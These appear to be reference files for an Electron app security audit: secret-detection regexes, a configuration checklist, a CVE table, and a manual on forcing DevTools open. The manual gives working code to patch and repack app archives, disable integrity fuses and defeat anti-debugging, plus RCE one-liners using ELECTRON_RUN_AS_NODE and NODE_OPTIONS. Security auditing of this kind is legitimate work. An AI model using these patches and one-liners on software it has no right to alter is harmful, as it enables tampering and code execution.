TOKEN | HIGH | Generic API Key | (?i)(api[_-]?key|apikey)\s*[=:]\s*['"][A-Za-z0-9_\-.]{16,}['"] | 通用 API Key
TOKEN | MEDIUM | Generic Password | (?i)(password|passwd|pwd)\s*[=:]\s*['"][^'"]{6,}['"] | 硬编码密码
TOKEN | HIGH | Bearer Token | (?i)bearer\s+[A-Za-z0-9_\-.]{20,} | Bearer 令牌

# ============================================================
# 三、第三方服务
# ============================================================

SERVICE | HIGH | GitHub Token | (ghp|gho|ghu|ghs|ghr)_[A-Za-z0-9_]{36} | GitHub Personal Access Token
SERVICE | HIGH | GitLab Token | glpat-[A-Za-z0-9_-]{20} | GitLab Token
SERVICE | HIGH | Slack Token | xox[bpors]-[0-9]{10,}-[A-Za-z0-9]{10,} | Slack Token
SERVICE | HIGH | Slack Webhook | https://hooks\.slack\.com/services/T[A-Z0-9]{8}/B[A-Z0-9]{8}/[A-Za-z0-9]{24} | Slack Webhook URL
SERVICE | HIGH | Discord Webhook | https://discord(app)?\.com/api/webhooks/[0-9]+/[A-Za-z0-9_-]+ | Discord Webhook
SERVICE | HIGH | Telegram Bot Token | [0-9]{8,10}:[A-Za-z0-9_-]{35} | Telegram Bot Token
SERVICE | HIGH | Stripe Key | (sk|pk)_(test|live)_[A-Za-z0-9]{20,} | Stripe API Key
SERVICE | HIGH | SendGrid Key | SG\.[A-Za-z0-9_-]{22}\.[A-Za-z0-9_-]{43} | SendGrid API Key
SERVICE | HIGH | Twilio | (?i)(twilio[_-]?(auth|api)[_-]?(token|key|secret))\s*[=:]\s*['"][A-Za-z0-9]{32}['"] | Twilio 凭证
SERVICE | MEDIUM | WeChat AppSecret | (?i)(appsecret|app_secret)\s*[=:]\s*['"][a-f0-9]{32}['"] | 微信 AppSecret
SERVICE | MEDIUM | DingTalk Token | (?i)(dingtalk|dingding)[_-]?(token|secret|key)\s*[=:]\s*['"][A-Za-z0-9]{20,}['"] | 钉钉令牌

# ============================================================
# 四、数据库与中间件
# ============================================================

DATABASE | HIGH | MySQL Connection | mysql://[^\s'"]{10,} | MySQL 连接字符串
DATABASE | HIGH | PostgreSQL Connection | postgres(ql)?://[^\s'"]{10,} | PostgreSQL 连接字符串
DATABASE | HIGH | MongoDB Connection | mongodb(\+srv)?://[^\s'"]{10,} | MongoDB 连接字符串
DATABASE | HIGH | Redis Connection | redis://[^\s'"]{10,} | Redis 连接字符串
DATABASE | HIGH | JDBC Connection | jdbc:[a-z]+://[^\s'"]{10,} | JDBC 连接字符串
DATABASE | MEDIUM | SQLite Path | (?i)(sqlite|\.db|\.sqlite)\s*[=:]\s*['"][^'"]+['"] | SQLite 数据库路径

# ============================================================
# 五、内网地址与端点
# ============================================================

NETWORK | MEDIUM | Internal IP (10.x) | https?://10\.\d{1,3}\.\d{1,3}\.\d{1,3}[:/] | 内网地址 10.x.x.x
NETWORK | MEDIUM | Internal IP (172.x) | https?://172\.(1[6-9]|2[0-9]|3[01])\.\d{1,3}\.\d{1,3}[:/] | 内网地址 172.16-31.x.x
NETWORK | MEDIUM | Internal IP (192.168) | https?://192\.168\.\d{1,3}\.\d{1,3}[:/] | 内网地址 192.168.x.x
NETWORK | MEDIUM | Localhost | https?://(localhost|127\.0\.0\.1)[:/] | 本地地址
NETWORK | LOW | API Endpoint | (?i)['"]https?://[^'"]*/(api|v[0-9])/[^'"]*['"] | API 端点（用于后续测试）
NETWORK | LOW | WebSocket | wss?://[^\s'"]{10,} | WebSocket 地址

# ============================================================
# 六、加密相关
# ============================================================

CRYPTO | MEDIUM | Hardcoded AES Key | (?i)(aes[_-]?key|encrypt[_-]?key|cipher[_-]?key)\s*[=:]\s*['"][^'"]{8,}['"] | 硬编码加密密钥
CRYPTO | MEDIUM | Hardcoded IV | (?i)(iv|initial[_-]?vector|nonce)\s*[=:]\s*['"][A-Fa-f0-9]{16,}['"] | 硬编码初始向量
CRYPTO | LOW | MD5 Usage | (?i)(md5|crypto\.createHash\(['"]md5['"]\)) | MD5 使用（弱哈希）
CRYPTO | LOW | Weak Random | Math\.random\(\) | 不安全的随机数生成

# ============================================================
# 七、敏感文件
# ============================================================

FILE | HIGH | .env File | \.env$ | 环境变量文件（Glob 模式）
FILE | HIGH | Key File | \.(pem|key|p12|pfx|jks|keystore)$ | 密钥/证书文件（Glob 模式）
FILE | MEDIUM | Source Map | \.js\.map$ | Source Map 文件（可还原源码）
FILE | MEDIUM | Config File | (config|setting|credential|secret)\.(json|yml|yaml|xml|ini|toml)$ | 配置文件（Glob 模式）
FILE | LOW | SQLite DB | \.(db|sqlite|sqlite3)$ | 本地数据库文件（Glob 模式）
FILE | LOW | Log File | \.(log)$ | 日志文件（可能含敏感信息）


path: references/CONFIG_AUDIT.md
content: # Layer 2: 安全配置审计 — 详细手册

## 一、BrowserWindow webPreferences 检查表

### 1.1 高危配置

| 配置项 | 危险值 | 安全值 | 默认变更版本 | 影响 |
|--------|--------|--------|-------------|------|
| nodeIntegration | true | false | Electron 5 | XSS = RCE，渲染进程直接访问 Node.js |
| contextIsolation | false | true | Electron 12 | preload 和网页共享上下文，原型链污染逃逸 |
| sandbox | false(显式) | true | Electron 20 | 渲染进程无沙箱，漏洞可直接访问系统 |
| webSecurity | false | true | 始终默认 true | 禁用 SOP，可跨域请求 + file:// 访问 |

### 1.2 中危配置

| 配置项 | 危险值 | 影响 |
|--------|--------|------|
| allowRunningInsecureContent | true | HTTPS 页面加载 HTTP 资源，MITM 注入 |
| experimentalFeatures | true | 启用未修复的实验性 Chromium 特性 |
| enableBlinkFeatures | 任意值 | 启用额外 Blink 特性，可能有安全隐患 |
| nodeIntegrationInWorker | true | Web Worker 中可用 Node.js |
| nodeIntegrationInSubFrames | true | iframe 中可用 Node.js |
| webviewTag | true | 允许 webview 标签，可能继承危险配置 |
| navigateOnDragDrop | true | 拖拽文件触发导航到 file:// |

### 1.3 搜索方法

```
搜索 "new BrowserWindow" 和 "webPreferences" 在所有 JS 文件中
对每个 BrowserWindow 实例，提取完整的 webPreferences 对象
注意: 配置可能来自外部变量或配置文件，需要追溯
```

## 二、Preload 脚本审计

### 2.1 contextBridge 暴露面

```
搜索: contextBridge.exposeInMainWorld

风险分级:
  [高危] 暴露 require / child_process / fs / exec → 直接 RCE
  [高危] 暴露 shell.openExternal（无 URL 校验）→ 任意程序执行
  [高危] 暴露通用 IPC（无 channel 白名单）→ 可调用任意主进程功能
    示例: window.api.send(channel, data)  // channel 用户可控
  [中危] 暴露特定 IPC 但无参数校验 → 路径穿越等
    示例: window.api.readFile(path)  // path 未校验
  [低危] 暴露只读信息 → 信息泄露
```

### 2.2 直接挂载检测

```
搜索:
  window.require = require        [高危]
  window.process = process        [高危]
  window.electron = electron      [高危]
  window.module = module          [高危]
  window.__dirname = __dirname    [中危]
  window.Buffer = Buffer          [中危]
  global.xxx = xxx                [中危]
```

## 三、IPC 通信安全

### 3.1 主进程 handler 审计

```
搜索: ipcMain.handle / ipcMain.on

[高危] 命令注入:
  handler 中直接 exec(args.cmd) / spawn(args.program)

[高危] 路径穿越:
  handler 中直接 fs.readFile(args.path) / fs.writeFile(args.path)

[高危] 任意模块加载:
  handler 中直接 require(args.module)

[高危] 代码执行:
  handler 中直接 eval(args.code) 或 executeJavaScript(args.js)

[中危] 缺少 sender 验证:
  未检查 event.senderFrame.url 来源
```

### 3.2 动态 IPC 注册

```
某些框架（如 ee-core）自动注册所有 controller 方法为 IPC channel:
  Object.keys(controller).forEach(m => ipcMain.handle(m, controller[m]));

风险: 所有方法暴露，包括内部方法
检查: controller 方法是否有输入校验
```

## 四、CSP (Content Security Policy) 审计

### 4.1 CSP 来源

```
1. HTML meta 标签:
   搜索: Content-Security-Policy 在 .html 文件中

2. HTTP 响应头注入:
   搜索: onHeadersReceived + Content-Security-Policy 在 .js 文件中

3. 完全缺失 → [高危] 无任何限制
```

### 4.2 CSP 指令检查

```
[高危] 无 CSP → 完全不受限
[高危] script-src 含 'unsafe-inline' → 内联脚本/事件处理器可执行
[高危] script-src 含 'unsafe-eval' → eval/Function/setTimeout(string) 可用
[高危] default-src 或 script-src 为 * → 可从任意域加载脚本
[中危] connect-src 为 * → 数据可外泄到任意域
[中危] frame-src 允许外部域 → 可嵌入恶意 iframe
[低危] 缺少 object-src 限制
[低危] 缺少 base-uri 限制
```

### 4.3 CSP 绕过场景

```
即使有严格 CSP:
  1. nodeIntegration: true → require() 不受 CSP 限制
  2. contextBridge API → JS 函数调用不受 CSP 限制
  3. IPC 调用 → 主进程不受 CSP 影响
  4. 'strict-dynamic' + 已信任脚本中的 JSONP → 可创建新 script
```

## 五、Electron Fuses 审计

### 5.1 读取 Fuses

```bash
npx @electron/fuses read path/to/electron.exe
```

### 5.2 安全相关 Fuses

```
[高危] RunAsNode — 允许 ELECTRON_RUN_AS_NODE 环境变量
  利用: set ELECTRON_RUN_AS_NODE=1 && electron.exe -e "require('child_process').execSync('calc')"
  → 直接 RCE，无需 XSS

[高危] EnableNodeCliInspectArguments — 允许 --inspect 参数
  利用: electron.exe --inspect=9229 → 连接调试器注入代码

[中危] EnableCookieEncryption — Cookie 加密存储
  禁用时 Cookie 明文存储在磁盘

[中危] EnableNodeOptionsEnvironmentVariable — 允许 NODE_OPTIONS
  利用: NODE_OPTIONS="--require=malicious.js" electron.exe

[中危] OnlyLoadAppFromAsar — 只从 asar 加载
  禁用时可替换为目录，方便篡改

[中危] EnableEmbeddedAsarIntegrityValidation — ASAR 完整性校验
  禁用时可自由修改 asar
```

## 六、版本安全

### 6.1 版本获取

```
1. package.json 中的 electron 依赖版本
2. node_modules/electron/package.json
3. 运行时: process.versions.electron / process.versions.chrome
4. exe 文件属性
```

### 6.2 风险评估

```
[高危] 超出支持范围（最新 3 个大版本之外）→ 无安全补丁
[高危] Chromium < 100 → 大量已知 RCE/沙箱逃逸
[中危] 落后 2+ 个大版本 → 缺少重要修复
[低危] 非最新但在支持范围 → 可能缺少最新补丁

CVE 查询:
  Electron: https://www.electronjs.org/blog/tags/security
  Chromium: https://chromereleases.googleblog.com/
```

## 七、Layer 2 产出模板

```
[安全配置审计报告]

1. BrowserWindow 配置:
   - [文件:行号] 配置项: 值 [风险等级]

2. Preload 暴露面:
   - [文件] 暴露了 X 个 API，其中 Y 个高危

3. IPC 通道:
   - 总计 X 个，Y 个无输入校验

4. CSP: [有/无]，[安全/不安全]

5. Fuses: RunAsNode=[on/off], EnableNodeCliInspectArguments=[on/off], ...

6. 版本: Electron X.X.X → Chromium XXX → [在支持范围/已过期]

综合风险: [高/中/低]
```


path: references/DEVTOOLS_BYPASS.md
content: # DevTools 强开与反调试绕过实操手册

## 核心思路

**不要列举理论，按这个顺序做：试 → 诊断 → 修 → 验证。**

---

## 一、前置准备

### 1.1 定位应用文件

```
从目标路径出发，定位以下文件:

1. 可执行文件:
   - 应用根目录下的 *.exe（Windows）
   - 通常与 resources/ 同级

2. ASAR 文件:
   - resources/app.asar（标准位置）
   - resources/app/ 目录（未打包的应用）

3. 主进程入口:
   解包 asar 后，查看 package.json 的 "main" 字段
   通常是 main.js / index.js / background.js / electron.js
```

### 1.2 备份原始文件

```bash
# 备份 asar（必须在任何修改前执行）
cp app.asar app.asar.bak
```

---

## 二、方法矩阵（按侵入性从低到高）

| 方法 | 侵入性 | 成功率 | 前提条件 | 优先级 |
|:-----|:-------|:-------|:---------|:-------|
| 快捷键 | 无 | 低 | 未被拦截 | 1 |
| --remote-debugging-port | 无 | 高 | Fuse 未禁用 | 2 |
| --inspect | 无 | 中 | EnableNodeCliInspectArguments=on | 3 |
| ELECTRON_RUN_AS_NODE | 无 | 中 | RunAsNode=on | 4 |
| 修改 main.js + 重打包 | 中 | 高 | ASAR 完整性校验=off | 5 |
| Fuse 翻转 + 修改 | 高 | 高 | 对 exe 有写权限 | 6 |

---

## 三、方法详解

### 方法 1: 直接快捷键

```
启动应用后依次尝试:
  F12
  Ctrl+Shift+I
  Ctrl+Shift+J（直接打开 Console）

观察结果:
  A. DevTools 打开且稳定 → 直接使用，不需要任何 patch
  B. DevTools 打开后立即关闭（闪一下）→ 有 closeDevTools 监听
  C. 完全没反应 → 快捷键被拦截或未注册
  D. 页面行为异常（重定向/空白）→ 有反调试代码
```

### 方法 2: --remote-debugging-port（推荐，不修改文件）

```bash
# 启动应用并开启远程调试端口
./app.exe --remote-debugging-port=9222

# 然后在 Chrome 浏览器中:
# 1. 访问 chrome://inspect
# 2. 点击 "Configure..." → 添加 localhost:9222
# 3. 等待目标出现在 Remote Target 列表中
# 4. 点击 "inspect" 打开 DevTools

# 或者直接访问:
# http://localhost:9222/json  → 获取调试目标列表
# 复制 devtoolsFrontendUrl 在浏览器中打开
```

**优势**: 完全不修改应用文件，不触发 ASAR 完整性校验，不触发应用内反调试代码。

**失败场景**: 部分应用在主进程中通过 `app.commandLine.appendSwitch` 禁用了 remote-debugging。

### 方法 3: --inspect（Node.js 调试器）

```bash
# 开启 Node.js Inspector
./app.exe --inspect=9229

# 连接方式:
# Chrome: chrome://inspect → 等待目标出现
# VS Code: 配置 attach 调试
# 或者直接用 Node.js:
#   node inspect localhost:9229

# 连接后可在 Console 中执行:
const {BrowserWindow} = require('electron')
BrowserWindow.getAllWindows().forEach(w => w.webContents.openDevTools())
```

**前提**: `EnableNodeCliInspectArguments` Fuse 为 on。

### 方法 4: ELECTRON_RUN_AS_NODE

```bash
# Windows
set ELECTRON_RUN_AS_NODE=1
app.exe -e "const {app} = require('electron'); console.log('Node.js mode')"

# 验证是否进入 Node.js 模式:
set ELECTRON_RUN_AS_NODE=1
app.exe -e "console.log(process.versions)"

# 如果成功，可以用这个打开应用并附加调试器:
# （但这种方式不会启动 Electron GUI，主要用于验证 Fuse 状态）
```

**前提**: `RunAsNode` Fuse 为 on。

### 方法 5: 修改 main.js + 重打包

#### 5.1 解包

```bash
npx @electron/asar extract app.asar app_extracted/
```

#### 5.2 在 main.js 最顶部注入（第一行之前）

```javascript
// === DevTools Force Open Patch ===
const { app: __patchApp, globalShortcut: __gs } = require('electron');

__patchApp.on('browser-window-created', (_, win) => {
  // 拦截 closeDevTools 调用
  const __origClose = win.webContents.closeDevTools.bind(win.webContents);
  win.webContents.closeDevTools = () => {};

  win.webContents.on('did-finish-load', () => {
    if (win.isDestroyed()) return;
    // undocked 模式: 独立窗口，避免触发窗口尺寸检测
    win.webContents.openDevTools({ mode: 'undocked' });
  });

  // 拦截 devtools-closed 事件后自动重新打开
  win.webContents.on('devtools-closed', () => {
    if (!win.isDestroyed()) {
      setTimeout(() => {
        if (!win.isDestroyed()) {
          win.webContents.openDevTools({ mode: 'undocked' });
        }
      }, 500);
    }
  });
});

// 注册全局快捷键作为备份
__patchApp.whenReady().then(() => {
  try {
    __gs.register('F12', () => {
      const { BrowserWindow } = require('electron');
      const win = BrowserWindow.getFocusedWindow();
      if (win) win.webContents.toggleDevTools();
    });
  } catch(e) {}
});
// === End Patch ===
```

#### 5.3 重打包

```bash
npx @electron/asar pack app_extracted/ app.asar
```

#### 5.4 验证

```
启动应用，确认:
  [x] DevTools 自动弹出（undocked 模式，独立窗口）
  [x] DevTools 不会被自动关闭
  [x] Console 可正常输入和执行
  [x] Network 面板可正常抓包
  [x] 应用功能正常（未因 patch 导致崩溃）
```

### 方法 6: Fuse 翻转

```bash
# 当 ASAR 完整性校验阻止方法 5 时:
npx @electron/fuses flip app.exe \
  EnableEmbeddedAsarIntegrityValidation=off

# 如果还需要 --inspect:
npx @electron/fuses flip app.exe \
  EnableNodeCliInspectArguments=on

# 然后再执行方法 5 的修改
```

---

## 四、反调试绕过

### 4.1 debugger 无限循环

**症状**: 打开 DevTools 后，Sources 面板不断在 `debugger` 语句处暂停。

**原理**:
```javascript
// 应用代码中:
setInterval(() => { debugger; }, 100);
// 或:
(function loop() { debugger; setTimeout(loop, 100); })();
// 或（更隐蔽）:
Function('debugger')();
```

**绕过方案 A — 在注入代码中拦截（推荐）**:

```javascript
// 在 main.js patch 中追加，或在 preload 最早期注入:

// 拦截 setInterval/setTimeout 中的 debugger
const __origSetInterval = setInterval;
const __origSetTimeout = setTimeout;

globalThis.setInterval = function(fn, ms, ...args) {
  if (typeof fn === 'function') {
    const s = fn.toString();
    if (s.includes('debugger') || s.includes('Function') && s.includes('debug')) {
      return 0; // 直接丢弃
    }
  }
  if (typeof fn === 'string' && fn.includes('debugger')) return 0;
  return __origSetInterval(fn, ms, ...args);
};

globalThis.setTimeout = function(fn, ms, ...args) {
  if (typeof fn === 'function') {
    const s = fn.toString();
    if (s.includes('debugger')) return 0;
  }
  if (typeof fn === 'string' && fn.includes('debugger')) return 0;
  return __origSetTimeout(fn, ms, ...args);
};

// 拦截 Function 构造器中的 debugger
const __origFunction = Function;
globalThis.Function = function(...args) {
  if (args.some(a => typeof a === 'string' && a.includes('debugger'))) {
    return () => {};
  }
  return new __origFunction(...args);
};
globalThis.Function.prototype = __origFunction.prototype;
```

**绕过方案 B — 使用 CDP 跳过（配合方法 2）**:

```
使用 --remote-debugging-port 连接后:
1. 在 DevTools 的 Sources 面板
2. 右键点击 debugger 语句所在行
3. 选择 "Never pause here"
4. 或点击右上角 ⏯ 旁的 ⏩ "Deactivate breakpoints"

更彻底:
在 Console 中执行:
  // 通过 CDP 禁用所有暂停
  // 注: 此方法需要 CDP 协议级操作，通常在远程调试模式下使用
```

### 4.2 console 被重写

**症状**: Console 中 `console.log()` 不输出，或输出被吞掉。

**原理**:
```javascript
// 应用代码中:
console.log = () => {};
console.warn = () => {};
console.error = () => {};
// 或更隐蔽:
Object.defineProperty(console, 'log', { value: () => {}, writable: false });
```

**绕过 — 在 preload 最早期保存原始引用**:

```javascript
// 在 main.js patch 中，通过 preload 注入:
// 或者在修改后的 preload.js 最顶部:

const __safeConsole = {
  log: console.log.bind(console),
  warn: console.warn.bind(console),
  error: console.error.bind(console),
  info: console.info.bind(console),
  dir: console.dir.bind(console),
  table: console.table.bind(console),
};

// 保护 console 不被覆盖
const __origDefProp = Object.defineProperty;
Object.defineProperty = function(obj, prop, desc) {
  if (obj === console && ['log','warn','error','info','dir','table'].includes(prop)) {
    return obj; // 忽略对 console 方法的覆盖
  }
  return __origDefProp.call(this, obj, prop, desc);
};

// 挂到 window 上供手动使用
if (typeof window !== 'undefined') {
  window.__console = __safeConsole;
}
```

**绕过方案 B — DevTools Console 直接操作**:

```javascript
// 在 DevTools Console 中，直接从 iframe 获取原始 console:
const iframe = document.createElement('iframe');
iframe.style.display = 'none';
document.body.appendChild(iframe);
const safeConsole = iframe.contentWindow.console;
safeConsole.log('This bypasses console override');
```

### 4.3 窗口尺寸检测

**症状**: 打开 DevTools（docked 模式）后，页面检测到窗口内外尺寸差异，触发反调试。

**原理**:
```javascript
// 应用代码中:
setInterval(() => {
  if (window.outerWidth - window.innerWidth > 160 ||
      window.outerHeight - window.innerHeight > 160) {
    // 检测到 DevTools
    document.body.innerHTML = '';
    window.location.reload();
  }
}, 500);
```

**绕过**: 使用 **undocked 模式**打开 DevTools。

```javascript
// 注入代码中已使用 undocked:
win.webContents.openDevTools({ mode: 'undocked' });
// undocked = DevTools 在独立窗口中，不影响应用窗口尺寸
```

如果必须用 docked 模式:
```javascript
// 覆盖检测属性
Object.defineProperty(window, 'outerWidth', {
  get: () => window.innerWidth
});
Object.defineProperty(window, 'outerHeight', {
  get: () => window.innerHeight
});
```

### 4.4 性能计时检测

**症状**: 应用通过 `performance.now()` 或 `Date.now()` 计时，检测到代码执行变慢（因为调试器附加会增加开销），然后触发反调试。

**原理**:
```javascript
// 应用代码中:
const start = performance.now();
// ... 一些操作 ...
const end = performance.now();
if (end - start > 100) {
  // 检测到调试器（正常执行应该 < 10ms）
  window.close();
}
```

**绕过**:
```javascript
// 覆盖计时函数，使其返回伪造的短时间
const __origPerfNow = performance.now.bind(performance);
let __fakeTime = __origPerfNow();
performance.now = function() {
  __fakeTime += 0.1; // 模拟极短的执行时间
  return __fakeTime;
};
```

### 4.5 toString 检测

**症状**: 应用通过检测函数的 `toString()` 返回值来判断是否被 Hook。

**原理**:
```javascript
// 应用检测 setInterval 是否被替换:
if (setInterval.toString() !== 'function setInterval() { [native code] }') {
  // 检测到 Hook
}
```

**绕过**:
```javascript
// 在 Hook 函数上伪造 toString:
const hookedFn = function(...args) { /* hook logic */ };
hookedFn.toString = function() { return 'function setInterval() { [native code] }'; };
```

### 4.6 WebSocket/心跳检测

**症状**: 应用通过 WebSocket 向服务端发送心跳，服务端检测到异常（如心跳间隔变长）后下发关闭指令。

**绕过**: 监控 WebSocket 消息，过滤/修改反调试相关的控制消息。

```javascript
// Hook WebSocket
const __origWS = WebSocket;
WebSocket = function(url, protocols) {
  const ws = new __origWS(url, protocols);
  const __origSend = ws.send.bind(ws);
  ws.send = function(data) {
    // 可以在此拦截/修改发送的数据
    return __origSend(data);
  };
  return ws;
};
WebSocket.prototype = __origWS.prototype;
```

---

## 五、ASAR 完整性校验绕过

### 5.1 识别校验类型

```
类型 A — Electron 内置 Fuse:
  npx @electron/fuses read app.exe
  如果 EnableEmbeddedAsarIntegrityValidation=on → 内置校验

类型 B — 应用自定义校验:
  搜索代码中的 ASAR 完整性校验:
    - fs.readFileSync + crypto.createHash → 自定义 hash 校验
    - checksum / integrity / verify 相关关键词

类型 C — 无校验:
  修改 asar 后应用正常启动 → 无校验
```

### 5.2 绕过方案

```
类型 A 绕过:
  方案 1: Fuse 翻转
    npx @electron/fuses flip app.exe EnableEmbeddedAsarIntegrityValidation=off
  
  方案 2: 不修改 asar，用 --remote-debugging-port
    app.exe --remote-debugging-port=9222

类型 B 绕过:
  方案 1: 定位校验代码，patch 掉校验逻辑
    - 搜索 hash/checksum/integrity 关键词
    - 找到校验函数，使其始终返回 true
    
  方案 2: 计算修改后 asar 的新 hash，替换校验值
    - 找到存储 hash 的位置（可能在 exe 资源段或配置文件中）
    - 计算新 asar 的 hash 并替换

  方案 3: 同样使用 --remote-debugging-port 避免修改文件
```

---

## 六、特殊场景

### 6.1 多窗口应用

```
某些应用有多个 BrowserWindow（如主窗口 + 登录窗口 + 设置窗口）。
注入代码已使用 browser-window-created 事件，所有窗口都会自动打开 DevTools。

如果只想针对特定窗口:
  app.on('browser-window-created', (_, win) => {
    win.webContents.on('did-finish-load', () => {
      const url = win.webContents.getURL();
      if (url.includes('index.html') || url.includes('main')) {
        win.webContents.openDevTools({ mode: 'undocked' });
      }
    });
  });
```

### 6.2 Electron + 加壳（如 VMProtect / Themida）

```
如果 exe 被加壳:
  1. 先脱壳（超出本技能范围）
  2. 或者不修改 exe/asar，纯用 --remote-debugging-port
  3. 加壳通常不影响 --remote-debugging-port 方案
```

### 6.3 Electron Forge / Electron Builder 特殊打包

```
某些打包工具会:
  - 将 asar 嵌入 exe 内部 → 需要先提取
  - 使用自定义资源加载器 → 可能影响 asar 位置
  
识别方法:
  如果 resources/ 下没有 app.asar:
    - 检查 exe 同级是否有 .asar 文件
    - 检查 exe 内部资源（binwalk app.exe | grep asar）
    - 检查是否有 app/ 目录（未打包模式）
```

---

## 七、完成标准

```
DevTools 强开完成的标志:
  [x] DevTools 可以通过某种方式稳定打开
  [x] Console 面板可正常输入和执行 JavaScript
  [x] Network 面板可正常抓取请求
  [x] Sources 面板可正常查看/调试源码
  [x] 不会被反调试代码自动关闭或干扰
  [x] 应用主要功能正常运行

如果以上无法全部满足，记录原因并报告:
  - 哪些方法已尝试
  - 失败原因
  - 建议的替代方案
```


path: references/ELECTRON_CVE_DATABASE.md
content: # Electron CVE 数据库与版本风险

## 概述

Electron 版本直接决定了内嵌的 Chromium 和 Node.js 版本。过期的 Electron 版本可能包含大量已公开的 1-day 漏洞，这是最容易利用的攻击面之一。

---

## 一、版本获取方法

```
方法 1: package.json
  解包 asar 后查看 package.json 中的 "electron" 依赖版本

方法 2: node_modules
  node_modules/electron/package.json 中的 version 字段

方法 3: 运行时（DevTools Console）
  process.versions.electron    → Electron 版本
  process.versions.chrome      → Chromium 版本
  process.versions.node        → Node.js 版本
  process.versions.v8          → V8 版本

方法 4: exe 文件属性
  右键 → 属性 → 详细信息 → 产品版本

方法 5: User-Agent
  Network 面板查看请求的 User-Agent 头
  格式: Chrome/xxx Electron/xxx
```

---

## 二、Electron → Chromium → Node.js 版本映射

| Electron | Chromium | Node.js | 发布日期 | 支持状态 |
|:---------|:---------|:--------|:---------|:---------|
| 37.x | 140 | 22.x | 2025.10 | 当前支持 |
| 36.x | 136 | 22.x | 2025.06 | 当前支持 |
| 35.x | 134 | 22.x | 2025.04 | 当前支持 |
| 34.x | 132 | 22.x | 2025.01 | 已过期 |
| 33.x | 130 | 20.x | 2024.10 | 已过期 |
| 32.x | 128 | 20.x | 2024.08 | 已过期 |
| 31.x | 126 | 20.x | 2024.06 | 已过期 |
| 30.x | 124 | 20.x | 2024.04 | 已过期 |
| 29.x | 122 | 20.x | 2024.02 | 已过期 |
| 28.x | 120 | 18.x | 2023.12 | 已过期 |
| 27.x | 118 | 18.x | 2023.10 | 已过期 |
| 26.x | 116 | 18.x | 2023.08 | 已过期 |
| 25.x | 114 | 18.x | 2023.05 | 已过期 |
| 24.x | 112 | 18.x | 2023.04 | 已过期 |
| 23.x | 110 | 18.x | 2023.02 | 已过期 |
| 22.x | 108 | 16.x | 2022.11 | 已过期 |
| 21.x | 106 | 16.x | 2022.09 | 已过期 |
| 20.x | 104 | 16.x | 2022.08 | 已过期 |
| 19.x | 102 | 16.x | 2022.05 | 已过期 |
| 18.x | 100 | 16.x | 2022.03 | 已过期 |
| 17.x | 98 | 16.x | 2022.02 | 已过期 |
| 16.x | 96 | 16.x | 2021.11 | 已过期 |
| 15.x | 94 | 16.x | 2021.09 | 已过期 |
| 14.x | 93 | 14.x | 2021.08 | 已过期 |
| 13.x | 91 | 14.x | 2021.05 | 已过期 |
| 12.x | 89 | 14.x | 2021.03 | 已过期 |
| 11.x | 87 | 12.x | 2020.11 | 已过期 |
| 10.x | 85 | 12.x | 2020.08 | 已过期 |
| 9.x | 83 | 12.x | 2020.05 | 已过期 |
| 8.x | 80 | 12.x | 2020.02 | 已过期 |

**注意**: 截至 2026 年 4 月，当前支持的 Electron 版本为 35.x / 36.x / 37.x。
**完整映射**: https://releases.electronjs.org/

---

## 三、版本风险分级

| Electron 版本范围 | Chromium | 风险等级 | 说明 |
|:-----------------|:---------|:---------|:-----|
| 最新 3 个大版本 | 最新 | **安全** | 在支持范围内，持续接收安全补丁 |
| 落后 4-6 个大版本 | 较新 | **中危** | 已过期但漏洞利用难度较高 |
| 落后 7-12 个大版本 | 100-120 | **高危** | 存在多个已知可利用漏洞 |
| 落后 >12 个大版本 | <100 | **严重** | 大量已知 RCE 和沙箱逃逸 |

---

## 四、Electron 自身安全漏洞

### 4.1 高危 Electron CVE

| CVE | 影响版本 | 类型 | 描述 | 修复版本 |
|:----|:---------|:-----|:-----|:---------|
| CVE-2023-44402 | < 27.1.0 | RCE | ASAR 完整性绕过导致代码执行 | 27.1.0 |
| CVE-2023-39956 | < 26.2.1 | 沙箱逃逸 | WebRequest 重定向导致沙箱绕过 | 26.2.1 |
| CVE-2023-29198 | < 25.8.1 | 沙箱逃逸 | Context Isolation 绕过 | 25.8.1 |
| CVE-2022-36077 | < 21.3.1 | RCE | ASAR 完整性验证绕过 | 21.3.1 |
| CVE-2022-29247 | < 19.0.11 | RCE | 渲染进程代码执行 | 19.0.11 |
| CVE-2022-21718 | < 17.1.0 | 信息泄露 | IPC 消息泄露到错误的渲染进程 | 17.1.0 |
| CVE-2021-39184 | < 15.1.0 | RCE | 沙箱标志被重置 | 15.1.0 |
| CVE-2020-15215 | < 11.0.0 | RCE | 打开的子窗口可逃逸沙箱 | 11.0.0-beta.6 |
| CVE-2020-4076 | < 9.0.0 | RCE | contextIsolation 绕过 | 9.0.0-beta.21 |
| CVE-2020-4075 | < 8.0.0 | 信息泄露 | WebFrame 不遵守 contextIsolation | 8.0.0 |

### 4.2 Electron 安全默认值变更历史

| 版本 | 变更 | 安全影响 |
|:-----|:-----|:---------|
| Electron 5 | `nodeIntegration` 默认改为 `false` | 新应用默认不再有 XSS→RCE |
| Electron 12 | `contextIsolation` 默认改为 `true` | 新应用默认隔离上下文 |
| Electron 20 | `sandbox` 默认改为 `true` | 渲染进程默认沙箱化 |
| Electron 22 | `webviewTag` 默认改为 `false` | 禁用 webview 标签 |

**审计要点**: 如果应用基于旧版 Electron 开发，可能显式设置了不安全的默认值（如 `nodeIntegration: true`），即使后来升级了 Electron 版本。

---

## 五、Chromium 高危 CVE（按类型）

### 5.1 V8 引擎 RCE

```
V8 引擎漏洞可通过恶意 JavaScript 触发:
  - 类型混淆 (Type Confusion)
  - 堆溢出 (Heap Overflow)
  - UAF (Use-After-Free)

如果 Electron 应用加载不受信任的网页内容:
  → V8 RCE 可以在渲染进程中执行代码
  → 如果 sandbox: false → 直接获得 Node.js 权限
  → 如果 sandbox: true → 需要沙箱逃逸链

查询: chrome://version 查看 V8 版本
CVE 来源: https://v8.dev/blog
```

### 5.2 沙箱逃逸

```
Chromium 沙箱逃逸漏洞:
  - Mojo IPC 漏洞
  - GPU 进程漏洞
  - 网络服务漏洞

在 Electron 中的影响:
  如果 sandbox: true → 沙箱逃逸 = 突破渲染进程限制
  如果 sandbox: false → 不需要沙箱逃逸

CVE 来源: https://chromereleases.googleblog.com/
```

### 5.3 Chromium 版本风险速查

| Chromium 版本范围 | 大致时间 | 已知高危漏洞数量 | 建议 |
|:-----------------|:---------|:----------------|:-----|
| 136+ | 2025.06+ | 较少 | 关注最新修复 |
| 130-135 | 2024.10-2025.05 | 中等 | 建议升级 |
| 120-129 | 2023.12-2024.09 | 较多 | 应当升级 |
| 110-119 | 2023.02-2023.09 | 多 | 必须升级 |
